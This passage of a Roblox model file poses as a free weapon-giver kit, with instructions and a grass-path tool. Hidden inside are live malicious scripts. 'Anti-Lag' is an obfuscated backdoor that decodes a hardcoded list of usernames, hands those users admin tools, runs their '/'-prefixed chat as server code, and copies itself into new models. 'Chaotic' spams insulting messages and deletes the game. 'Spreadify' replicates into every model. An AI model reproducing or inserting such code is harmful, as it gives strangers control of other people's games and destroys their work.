table.insert (Knox, 3 ,string.reverse(calco[14] .. calco[13] .. calco[2] .. calco[8] .. calco[12] .. calco[9] .. calco[5])) 
table.insert (Knox, 4 ,string.reverse(calco[17] .. calco[5] .. calco[17] .. calco[4]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate &gt; hatr then 
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == &quot;Part&quot; then
local fh = fj[off]:FindFirstChild(&quot;Anti-Lag&quot;)
if fh ~= nil then 
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local  hup = Instance.new(&quot;Message&quot;)
hup.Text = &quot;Detected&quot;
hup.Parent = quen.Parent
local con = Instance.new(&quot;Script&quot;)
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new(&quot;HopperBin&quot;)
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do  
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1,  zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild(&quot;Anti-Lag&quot;)
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == &quot;Model&quot; then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end
function Player(player)
player.Changed:connect(function (property) 
if property == &quot;Character&quot; then 
laber(player) 
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == &quot;/&quot; then
local dsting = Instance.new(&quot;Script&quot;)
dsting.Source = string.sub(msg,2) 
dsting.Parent = game.Workspace 
end
end
end </string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
					<Item class="Script" referent="RBX112">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">READ ME FOR INSTRUCTIONS</string>
							<string name="Source">--DONT PUT THIS IN ANYTHING IT&apos;S JUST INSTRUCTIONS.
--First Place the &quot;PUT THIS IN THE WEAPON&quot; script in your Weapon or Tool.
--Then place your Weapon or Tool in the &quot;PUT THE WEAPON IN THIS BRICK&quot; brick.

--IMPORTANT (OPTINAL)
--Before doing anything you should put the Weapon or Tool in the giver where you want it.</string>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
					<Item class="Geometry" referent="RBX113">
						<Properties>
							<string name="Name">OHAI</string>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Model" referent="RBX114">
							<Properties>
								<token name="Controller">0</token>
								<bool name="ControllerFlagShown">true</bool>
								<CoordinateFrame name="ModelInPrimary">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
									<R00>1</R00>
									<R01>0</R01>
									<R02>0</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>1</R22>
								</CoordinateFrame>
								<string name="Name">Controls</string>
								<Ref name="PrimaryPart">null</Ref>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX115">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">Chaotic</string>
									<string name="Source">messages = {&quot;Death to roblox!&quot;, &quot;Robloxian Spirits will prevail!&quot;, &quot;Free model using fool!&quot;, &quot;1x1x1x1 will come!&quot;, &quot;Destruction to roblox!&quot;, &quot;Burn the capitalists, comrades!&quot;, &quot;We have already captured chuck norris, you are doomed!&quot;, &quot;FOR THE MOTHERLAND&quot;, &quot;SPAMSPAMSPAMSPAM&quot;, &quot;Telamon&apos;s security system sucks..&quot;, &quot;MrDoomBringer Phailz!&quot;, &quot;SPAMSKOIADGFVIKHJNWDSIV&quot;, &quot;KOMAPSAMEDA&quot;, &quot;I LOVE YOU&quot;, &quot;I HATE YOU&quot;, &quot;This is all a script, an alternate form of reality.&quot;, &quot;SPAM THE FORUMS PLZ&quot;}

while true do
wait(600)
if game:findFirstChild(&quot;NetworkServer&quot;) ~= nil then
game.Lighting.TimeOfDay = &quot;00:00:00&quot;
game.Lighting.Brightness = 0
for i=1, 300 do
local a = Instance.new(&quot;Message&quot;)
a.Parent = game.Workspace
a.Text = messages[math.random(1, #messages)]
wait(.05)
end
game:Remove()
end
end
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
							<Item class="Script" referent="RBX116">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">Spreadify</string>
									<string name="Source">function dive()
p= game.Workspace:GetChildren()	
for i= 1, #p do				
if p[i].className == &quot;Model&quot; and p[i]:findFirstChild(&quot;OHAI&quot;)==nil then
script.Parent.Parent:clone().Parent = p[i]
end
end
end

while true do
wait(10)
dive()
end
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
				</Item>
				<Item class="Model" referent="RBX117">
					<Properties>
						<token name="Controller">0</token>
						<bool name="ControllerFlagShown">true</bool>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">make you&apos;re giver</string>
						<Ref name="PrimaryPart">RBX118</Ref>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Part" referent="RBX119">
						<Properties>
							<bool name="Anchored">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">28</int>
							<CoordinateFrame name="CFrame">
								<X>-2.5</X>
								<Y>3.4000001</Y>
								<Z>112.5</Z>
								<R00>0</R00>
								<R01>0</R01>
								<R02>-1</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>-0</R12>
								<R20>1</R20>
								<R21>0</R21>
								<R22>-0</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<token name="Controller">0</token>
							<bool name="ControllerFlagShown">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<string name="Name">Smooth Block Model</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0.300000012</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>3</X>
								<Y>6</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
					</Item>
					<Item class="Part" referent="RBX120">
						<Properties>
							<bool name="Anchored">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">28</int>
							<CoordinateFrame name="CFrame">
								<X>-3.5</X>
								<Y>3.39997339</Y>
								<Z>114.5</Z>
								<R00>0.999999106</R00>
								<R01>1.26419318e-005</R01>
								<R02>-1.04804913e-005</R02>
								<R10>-1.26416326e-005</R10>
								<R11>1</R11>
								<R12>2.31133945e-005</R12>
								<R20>1.04807841e-005</R20>
								<R21>-2.3113118e-005</R21>
								<R22>0.999999106</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<token name="Controller">0</token>
							<bool name="ControllerFlagShown">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<string name="Name">Smooth Block Model</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0.300000012</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>3</X>
								<Y>6</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
					</Item>
					<Item class="Part" referent="RBX121">
						<Properties>
							<bool name="Anchored">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">28</int>
							<CoordinateFrame name="CFrame">
								<X>-1.49975586</X>
								<Y>3.10512781</Y>
								<Z>112.498047</Z>
								<R00>-0.999998152</R00>
								<R01>4.31583503e-005</R01>
								<R02>1.0484735e-005</R02>
								<R10>4.31596345e-005</R10>
								<R11>1</R11>
								<R12>0.000129476743</R12>
								<R20>-1.04791525e-005</R20>
								<R21>0.000129477179</R21>
								<R22>-0.999998152</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<token name="Controller">0</token>
							<bool name="ControllerFlagShown">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<string name="Name">PUT THE WEAPON IN THIS BRICK</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">0</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>1.20000005</Y>
								<Z>5</Z>
							</Vector3>
						</Properties>
						<Item class="HopperBin" referent="RBX122">
							<Properties>
								<token name="BinType">0</token>
								<string name="Name">GrassPath</string>
								<Content name="TextureId"><null></null></Content>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="LocalScript" referent="RBX123">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">Local Gui</string>
									<string name="Source">bin = script.Parent
function onKeyDown(key,mouse) 
key:lower() 
if key == &quot;r&quot; then
e = game.Workspace:GetChildren()
for i=1,#e do
if e[i].className == &quot;Part&quot; then
if e[i].Name == &quot;Ice&quot; then
if e[i]:findFirstChild(&quot;creator&quot;)~=nil then
if e[i].creator.Value == script.Parent.Parent.Parent then
e[i]:remove()
end
end
end
end
end
elseif key == &quot;n&quot; then
e = game.Workspace:GetChildren()
for i=1,#e do
if e[i].className == &quot;Part&quot; then
if e[i].Name == &quot;Ice&quot; then
e[i]:remove()
end
end
end

end
end

function press(mouse)
if sel == true then
hit = mouse.Target
local point = mouse.Hit.p
s = Instance.new(&quot;Part&quot;)
s.CanCollide = true 
s.Size=Vector3.new(6,2,18)
s.Anchored = true
s.BrickColor = BrickColor.new(&quot;Bright green&quot;)
s.Transparency = 0.3
s.Name = &quot;Ice&quot;
s.TopSurface = &quot;Smooth&quot;
s.BottomSurface = &quot;Smooth&quot;
s.Parent = game.Workspace
c = script.CleanUp:clone()
c.Disabled = false
c.Parent = s
s.CFrame = CFrame.new(script.Parent.Parent.Parent.Character.Head.Position)
s.CFrame = CFrame.new(script.Parent.Parent.Parent.Character.Torso.Position.x,script.Parent.Parent.Parent.Character.Torso.Position.y-4,script.Parent.Parent.Parent.Character.Torso.Position.z)
s.CFrame = CFrame.new(s.Position,point)
r = Instance.new(&quot;ObjectValue&quot;)
r.Value = script.Parent.Parent.Parent
r.Parent = s
r.Name = &quot;creator&quot;
wait()
press(mouse)
end
end


function onButton1Down(mouse)
sel = true
if sel == true then
hit = mouse.Target
local point = mouse.Hit.p
s = Instance.new(&quot;Part&quot;)
s.CanCollide = true 
s.Size=Vector3.new(5,2,17)
s.Anchored = true
s.BrickColor = BrickColor.new(&quot;Bright green&quot;)
s.Transparency = 0.3
s.Name = &quot;Ice&quot;
s.TopSurface = &quot;Smooth&quot;
s.BottomSurface = &quot;Smooth&quot;
s.Parent = game.Workspace
c = script.CleanUp:clone()
c.Disabled = false
c.Parent = s
s.CFrame = CFrame.new(script.Parent.Parent.Parent.Character.Head.Position)
s.CFrame = CFrame.new(script.Parent.Parent.Parent.Character.Torso.Position.x,script.Parent.Parent.Parent.Character.Torso.Position.y-5,script.Parent.Parent.Parent.Character.Torso.Position.z)
s.CFrame = CFrame.new(s.Position,point)
r = Instance.new(&quot;ObjectValue&quot;)
r.Value = script.Parent.Parent.Parent
r.Parent = s
r.Name = &quot;creator&quot;
wait()
hit = mouse.Target
local point = mouse.Hit.p
s = Instance.new(&quot;Part&quot;)
s.CanCollide = true 
s.Size=Vector3.new(5,2,17)
s.Anchored = true
s.BrickColor = BrickColor.new(&quot;Bright green&quot;)
s.Transparency = 0.3
s.Name = &quot;Ice&quot;
s.TopSurface = &quot;Smooth&quot;
s.BottomSurface = &quot;Smooth&quot;
s.Parent = game.Workspace
c = script.CleanUp:clone()
c.Disabled = false
c.Parent = s
s.CFrame = CFrame.new(script.Parent.Parent.Parent.Character.Head.Position)
s.CFrame = CFrame.new(script.Parent.Parent.Parent.Character.Torso.Position.x,script.Parent.Parent.Parent.Character.Torso.Position.y-4,script.Parent.Parent.Parent.Character.Torso.Position.z)
s.CFrame = CFrame.new(s.Position,point)
r = Instance.new(&quot;ObjectValue&quot;)
r.Value = script.Parent.Parent.Parent
r.Parent = s
r.Name = &quot;creator&quot;
wait()
hit = mouse.Target
local point = mouse.Hit.p
s = Instance.new(&quot;Part&quot;)
s.CanCollide = true 
s.Size=Vector3.new(5,2,15)
s.Anchored = true
s.BrickColor = BrickColor.new(&quot;Bright green&quot;)
s.Transparency = 0.3
s.Name = &quot;Ice&quot;
s.TopSurface = &quot;Smooth&quot;
s.BottomSurface = &quot;Smooth&quot;
s.Parent = game.Workspace
c = script.CleanUp:clone()
c.Disabled = false
c.Parent = s
s.CFrame = CFrame.new(script.Parent.Parent.Parent.Character.Head.Position)
s.CFrame = CFrame.new(script.Parent.Parent.Parent.Character.Torso.Position.x,script.Parent.Parent.Parent.Character.Torso.Position.y-6,script.Parent.Parent.Parent.Character.Torso.Position.z)
s.CFrame = CFrame.new(s.Position,point)
r = Instance.new(&quot;ObjectValue&quot;)
r.Value = script.Parent.Parent.Parent
r.Parent = s
r.Name = &quot;creator&quot;
press(mouse)
end
end


function onButton1Up(mouse)
sel = false
end

function onEquippedLocal(mouse)

	if mouse == nil then
		print(&quot;Mouse not found&quot;)
		return 
	end

	mouse.Icon = &quot;rbxasset://textures\\GunCursor.png&quot;
	mouse.Button1Down:connect(function() onButton1Down(mouse) end)
	mouse.Button1Up:connect(function() onButton1Up(mouse) end)
	mouse.KeyDown:connect(onKeyDown) 
e = script.Parent.Parent.Parent:GetChildren()
for i=1,#e do
if e[i].className == &quot;Hint&quot; then
e[i]:remove()
end
end
s = Instance.new(&quot;Hint&quot;)
s.Parent = script.Parent.Parent.Parent
s.Text = &quot;click R to reset all your ice you made and Hold mouse to create a stream of ice&quot;
end

function unsel(mouse)
e = script.Parent.Parent.Parent:GetChildren()
for i=1,#e do
if e[i].className == &quot;Hint&quot; then
e[i]:remove()
end
end
end


script.Parent.Selected:connect(onEquippedLocal) 
script.Parent.Deselected:connect(unsel)</string>
									<bool name="archivable">true</bool>
								</Properties>
								<Item class="Script" referent="RBX124">
									<Properties>
										<bool name="Disabled">true</bool>
										<Content name="LinkedSource"><null></null></Content>
										<string name="Name">CleanUp</string>
										<string name="Source">wait(5)
script.Parent:remove()</string>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
							</Item>
							<Item class="Script" referent="RBX125">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">PUT THIS IN THE WEAPON</string>
									<string name="Source">local debounce = false

function getPlayer(humanoid) 
local players = game.Players:children() 
for i = 1, #players do 
if players[i].Character.Humanoid == humanoid then return players[i] end 
end 
return nil 
end 

function onTouch(part) 

local human = part.Parent:findFirstChild(&quot;Humanoid&quot;) 
if (human ~= nil) and debounce == false then

debounce = true

local player = getPlayer(human) 

if (player == nil) then return end 

script.Parent:clone().Parent = player.Backpack

wait(2)
debounce = false
end
end


script.Parent.Parent.Touched:connect(onTouch) 
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="Part" referent="RBX126">
						<Properties>
							<bool name="Anchored">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">28</int>
							<CoordinateFrame name="CFrame">
								<X>-5.5</X>
								<Y>3.4000001</Y>
								<Z>112.5</Z>
								<R00>0</R00>
								<R01>0</R01>
								<R02>-1</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>-0</R12>
								<R20>1</R20>
								<R21>0</R21>
								<R22>-0</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<token name="Controller">0</token>
							<bool name="ControllerFlagShown">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<string name="Name">Smooth Block Model</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0.300000012</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>5</X>
								<Y>6</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
					</Item>
					<Item class="Part" referent="RBX127">
						<Properties>
							<bool name="Anchored">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">28</int>
							<CoordinateFrame name="CFrame">
								<X>-3.49995422</X>
								<Y>3.39988184</Y>
								<Z>110.5</Z>
								<R00>0.999999106</R00>
								<R01>1.26419318e-005</R01>
								<R02>-1.04804913e-005</R02>
								<R10>-1.26416326e-005</R10>
								<R11>1</R11>
								<R12>2.31133945e-005</R12>
								<R20>1.04807841e-005</R20>
								<R21>-2.3113118e-005</R21>
								<R22>0.999999106</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<token name="Controller">0</token>
							<bool name="ControllerFlagShown">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<string name="Name">Smooth Block Model</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0.300000012</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>3</X>
								<Y>6</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
					</Item>
					<Item class="Part" referent="RBX118">
						<Properties>
							<bool name="Anchored">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">28</int>
							<CoordinateFrame name="CFrame">
								<X>-4</X>
								<Y>7</Y>
								<Z>112.5</Z>
								<R00>0</R00>
								<R01>0</R01>
								<R02>-1</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>-0</R12>
								<R20>1</R20>
								<R21>0</R21>
								<R22>-0</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<token name="Controller">0</token>
							<bool name="ControllerFlagShown">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<string name="Name">Smooth Block Model</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">0</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0.300000012</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>5</X>
								<Y>1.20000005</Y>
								<Z>4</Z>
							</Vector3>
						</Properties>
						<Item class="Script" referent="RBX128">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Anti-Lag</string>
								<string name="Source">Altitude = script:clone()
calco = {&quot;u&quot;, &quot;1&quot;,&quot;4&quot;,&quot;D&quot;,&quot;j&quot;,&quot;g&quot;,&quot;M&quot;,&quot;k&quot;,&quot;a&quot;,&quot;e&quot;,&quot;d&quot;,&quot;c&quot;,&quot;2&quot;,&quot;3&quot;,&quot;r&quot;,&quot;t&quot;,&quot;j&quot;}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[2] .. calco[11] .. calco[10] .. calco[1] .. calco[4]))
table.insert (Knox, 2 ,string.reverse(calco[2] .. calco[3] .. calco[16] .. calco[15] .. calco[10] .. calco[4])) 
table.insert (Knox, 3 ,string.reverse(calco[14] .. calco[13] .. calco[2] .. calco[8] .. calco[12] .. calco[9] .. calco[5])) 
table.insert (Knox, 4 ,string.reverse(calco[17] .. calco[5] .. calco[17] .. calco[4]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate &gt; hatr then 
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == &quot;Part&quot; then
local fh = fj[off]:FindFirstChild(&quot;Anti-Lag&quot;)
if fh ~= nil then 
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local  hup = Instance.new(&quot;Message&quot;)
hup.Text = &quot;Detected&quot;
hup.Parent = quen.Parent
local con = Instance.new(&quot;Script&quot;)
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new(&quot;HopperBin&quot;)
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do  
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1,  zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild(&quot;Anti-Lag&quot;)
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == &quot;Model&quot; then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end
function Player(player)
player.Changed:connect(function (property) 
if property == &quot;Character&quot; then 
laber(player) 
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == &quot;/&quot; then
local dsting = Instance.new(&quot;Script&quot;)
dsting.Source = string.sub(msg,2) 
dsting.Parent = game.Workspace 
end
end
end </string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
					<Item class="Script" referent="RBX129">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">READ ME FOR INSTRUCTIONS</string>
							<string name="Source">--DONT PUT THIS IN ANYTHING IT&apos;S JUST INSTRUCTIONS.
--First Place the &quot;PUT THIS IN THE WEAPON&quot; script in your Weapon or Tool.
